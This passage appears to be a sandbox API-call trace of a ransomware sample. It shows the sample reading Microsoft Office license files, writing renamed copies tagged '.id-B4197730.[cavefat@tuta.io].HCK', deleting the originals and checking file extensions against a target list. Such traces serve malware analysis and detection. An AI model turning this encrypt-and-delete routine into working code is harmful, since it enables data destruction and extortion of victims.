Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220 [0242.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.492] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.492] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0242.493] GetLastError () returned 0x0 [0242.493] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x67d9, lpOverlapped=0x0) returned 1 [0242.495] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67e0, lpOverlapped=0x0) returned 1 [0242.495] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.496] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x102, lpOverlapped=0x0) returned 1 [0242.496] SetEndOfFile (hFile=0x3c4) returned 1 [0242.496] CloseHandle (hObject=0x3c4) returned 1 [0242.496] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.496] SetEndOfFile (hFile=0x544) returned 1 [0242.498] CloseHandle (hObject=0x544) returned 1 [0242.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1 [0242.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.499] lstrlenW (lpString=".doc") returned 4 [0242.499] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.499] lstrlenW (lpString=".docx") returned 5 [0242.499] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.499] lstrlenW (lpString=".pdf") returned 4 [0242.499] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.499] lstrlenW (lpString=".xls") returned 4 [0242.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.499] lstrlenW (lpString=".xlsx") returned 5 [0242.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.499] lstrlenW (lpString=".ppt") returned 4 [0242.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".zip") returned 4 [0242.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".rar") returned 4 [0242.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".bz2") returned 4 [0242.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".7z") returned 3 [0242.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".dbf") returned 4 [0242.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".1cd") returned 4 [0242.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".jpg") returned 4 [0242.500] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".doc") returned 4 [0242.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".docx") returned 5 [0242.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.500] lstrlenW (lpString=".pdf") returned 4 [0242.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".xls") returned 4 [0242.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".xlsx") returned 5 [0242.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.500] lstrlenW (lpString=".ppt") returned 4 [0242.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".zip") returned 4 [0242.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".rar") returned 4 [0242.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".bz2") returned 4 [0242.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString=".7z") returned 3 [0242.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".dbf") returned 4 [0242.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".1cd") returned 4 [0242.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0242.500] lstrlenW (lpString=".jpg") returned 4 [0242.500] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.501] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.501] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26 [0242.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.502] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11586) returned 1 [0242.502] CloseHandle (hObject=0x544) returned 1 [0242.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220 [0242.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.505] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.505] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0242.505] GetLastError () returned 0x0 [0242.505] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0242.634] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0242.635] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.635] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x108, lpOverlapped=0x0) returned 1 [0242.635] SetEndOfFile (hFile=0x3c4) returned 1 [0242.635] CloseHandle (hObject=0x3c4) returned 1 [0242.635] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.635] SetEndOfFile (hFile=0x544) returned 1 [0242.637] CloseHandle (hObject=0x544) returned 1 [0242.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1 [0243.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.341] lstrlenW (lpString=".doc") returned 4 [0243.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.341] lstrlenW (lpString=".docx") returned 5 [0243.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.341] lstrlenW (lpString=".pdf") returned 4 [0243.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.341] lstrlenW (lpString=".xls") returned 4 [0243.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.341] lstrlenW (lpString=".xlsx") returned 5 [0243.341] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.341] lstrlenW (lpString=".ppt") returned 4 [0243.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".zip") returned 4 [0243.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".rar") returned 4 [0243.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".bz2") returned 4 [0243.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".7z") returned 3 [0243.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".dbf") returned 4 [0243.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".1cd") returned 4 [0243.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".jpg") returned 4 [0243.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".doc") returned 4 [0243.342] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".docx") returned 5 [0243.342] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.342] lstrlenW (lpString=".pdf") returned 4 [0243.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".xls") returned 4 [0243.342] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".xlsx") returned 5 [0243.342] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.342] lstrlenW (lpString=".ppt") returned 4 [0243.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".zip") returned 4 [0243.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".rar") returned 4 [0243.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".bz2") returned 4 [0243.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString=".7z") returned 3 [0243.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".dbf") returned 4 [0243.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".1cd") returned 4 [0243.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0243.342] lstrlenW (lpString=".jpg") returned 4 [0243.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.343] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.343] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36 [0243.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.344] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11195) returned 1 [0243.344] CloseHandle (hObject=0x4a4) returned 1 [0243.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220 [0243.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.344] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.344] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.345] GetLastError () returned 0x0 [0243.345] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0243.347] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0243.348] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.348] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11c, lpOverlapped=0x0) returned 1 [0243.349] SetEndOfFile (hFile=0x56c) returned 1 [0243.349] CloseHandle (hObject=0x56c) returned 1 [0243.349] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.349] SetEndOfFile (hFile=0x4a4) returned 1 [0243.351] CloseHandle (hObject=0x4a4) returned 1 [0243.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1 [0243.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.352] lstrlenW (lpString=".doc") returned 4 [0243.352] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.352] lstrlenW (lpString=".docx") returned 5 [0243.352] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.352] lstrlenW (lpString=".pdf") returned 4 [0243.352] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.352] lstrlenW (lpString=".xls") returned 4 [0243.352] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.352] lstrlenW (lpString=".xlsx") returned 5 [0243.352] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.352] lstrlenW (lpString=".ppt") returned 4 [0243.352] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.352] lstrlenW (lpString=".zip") returned 4 [0243.352] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.352] lstrlenW (lpString=".rar") returned 4 [0243.352] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".bz2") returned 4 [0243.353] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".7z") returned 3 [0243.353] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".dbf") returned 4 [0243.353] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".1cd") returned 4 [0243.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".jpg") returned 4 [0243.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".doc") returned 4 [0243.353] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".docx") returned 5 [0243.353] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.353] lstrlenW (lpString=".pdf") returned 4 [0243.353] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".xls") returned 4 [0243.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".xlsx") returned 5 [0243.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.353] lstrlenW (lpString=".ppt") returned 4 [0243.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".zip") returned 4 [0243.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".rar") returned 4 [0243.353] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".bz2") returned 4 [0243.353] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString=".7z") returned 3 [0243.353] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".dbf") returned 4 [0243.353] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".1cd") returned 4 [0243.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0243.353] lstrlenW (lpString=".jpg") returned 4 [0243.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.353] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.354] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37 [0243.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 